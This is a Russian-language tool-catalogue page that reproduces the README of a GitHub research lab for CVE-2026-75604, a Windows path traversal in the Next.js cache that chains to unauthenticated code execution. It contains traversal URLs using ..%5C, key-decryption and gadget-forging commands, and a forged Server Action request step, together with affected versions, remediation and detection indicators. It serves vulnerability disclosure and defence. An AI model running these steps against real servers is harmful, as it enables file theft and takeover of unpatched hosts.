Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/fortbridge-uk/cve-2026-75604
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubfortbridge-uk/cve-2026-75604

cve-2026-75604

Reproduction lab and exploit tooling for CVE-2026-75604, a path traversal in Next.js incremental cache leading to unauthenticated RCE on Windows. Includes PoC, forge CLI, and harness for testing.

Репозиторий
1219 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Контент недоступен на запрошенном языке. Показываем английскую версию.

CVE-2026-75604 - Next.js path traversal → RCE (Windows) · research lab

Reproduction lab and exploit tooling for CVE-2026-75604, an unauthenticated path-traversal in the Next.js incremental cache that affects Windows hosts. A single un-escaped backslash lets an attacker read and write files outside the cache directory; on the right versions and app shape it chains to unauthenticated remote code execution.

Research by Fortbridge. Full write-up: Reproducing CVE-2026-75604.

⚠️ Authorized testing only. This is a deliberately vulnerable application and a working exploit for a patched CVE. Use it on an isolated lab network you own. Never deploy the target anywhere reachable from production or the internet.

The vulnerability in one paragraph

escapePathDelimiters (Next.js router utils) escapes /, #, ? but not \. A percent-encoded backslash (%5C) in a route segment decodes to a raw \, survives into the incremental-cache key, and - because on Windows \ is a path separator - path.join() walks out of the cache root. The same code backs cache reads and writes, giving arbitrary file read and write. Windows only; Linux/macOS treat \ as an ordinary filename character.

Affected: 13.4-15.5.23 and 16.0-16.3.2. Fixed: 15.5.24 / 16.3.3.

RCE is version-gated

The traversal spans the whole affected range, but the RCE gadget (a React Flight constructor:constructor property-chain that resolves to the Function constructor) only works where react-server-dom-webpack lacks a reference guard added mid-lifecycle:

RCE also requires an app-side higher-order Server Action that calls a closure-bound value with user input (boundFn(input)()). Apps without that pattern still face disclosure, write/DoS, and Server Action authorization bypass. See research/FINDINGS.md and research/rce-version-matrix.txt.

Contents

Reproduce (on a Windows host)

root@kitploit:~
# build + start the vulnerable lab (Next.js 16.2.0)
powershell -File setup-windows.ps1        # prints BUILD_ID and check URLs
root@kitploit:~
# step 1 (browser): warm, then open the traversal read → encryptionKey
#   http://<host>:3000/app-cache/..%5C..%5Cserver-reference-manifest        (warm)
#   http://<host>:3000/_next/data/<BUILD_ID>/pages-cache/..%5C..%5Cserver-reference-manifest.json

# steps 2-3: decrypt a genuine bound arg, then forge the Function gadget
node forge-cli.mjs decrypt <key> <actionId> <blob-from-page>
node forge-cli.mjs gadget  <key> <actionId>

# steps 4-5 (through Burp): forged POST + read-back in one command
node send-action.mjs http://<host>:3000 --key <key> --action <actionId> --proof pwn --burp

No Windows box? node harness/harness.mjs proves the traversal on any OS by driving the real shipped Next.js 16.3.2 and 16.3.3 code with path bound to path.win32.

Remediation

Upgrade to 15.5.24 or 16.3.3. There is no in-place workaround for affected Windows hosts. Rotate secrets the read may have exposed - especially NEXT_SERVER_ACTIONS_ENCRYPTION_KEY (a leaked key stays valid across rebuilds when pinned).

Detection

  • Requests with %5C / ..%5C in a route segment to /_next/data/… or cached App Router paths.
  • A build manifest whose contents are a {"pageProps":…,"__N_SSG":true} stub (the destructive read).
  • Cache files (.html / .rsc / .meta) written outside .next\server\app\ or .next\server\pages\.
Скачать инструмент
Next.js rangeGadget → FunctionImpact
13.4 - 14.xno (no property-path support)read / write / authz-bypass
15.0.0 - 15.5.22yesRCE-capable
15.5.23no (guard added)traversal only
16.0.0 - 16.2.xyesRCE-capable
16.3.0 - 16.3.2no (guard added)traversal only
15.5.24 / 16.3.3-patched
pathwhat
setup-windows.ps1build + start the vulnerable lab on a Windows host (default Next 16.2.0)
app/minimal vulnerable target: home Server Action (RCE sink) + two cached catch-all routes
exploit.mjsread-only PoC - leak encryptionKey via the traversal (--burp, --raw, --write)
forge-cli.mjsdecrypt a genuine bound arg / gadget forge the Function blob
send-action.mjssteps 4-5 in one command: forged POST + read the output back (--proof, --burp)
harness/OS-independent rediscovery - runs the unmodified 16.3.2/16.3.3 code under path.win32
BURP-STEPS.mdthe coherent 5-step reproduction recipe
research/patch diff, version matrix, findings
evidence/screenshots from a verified run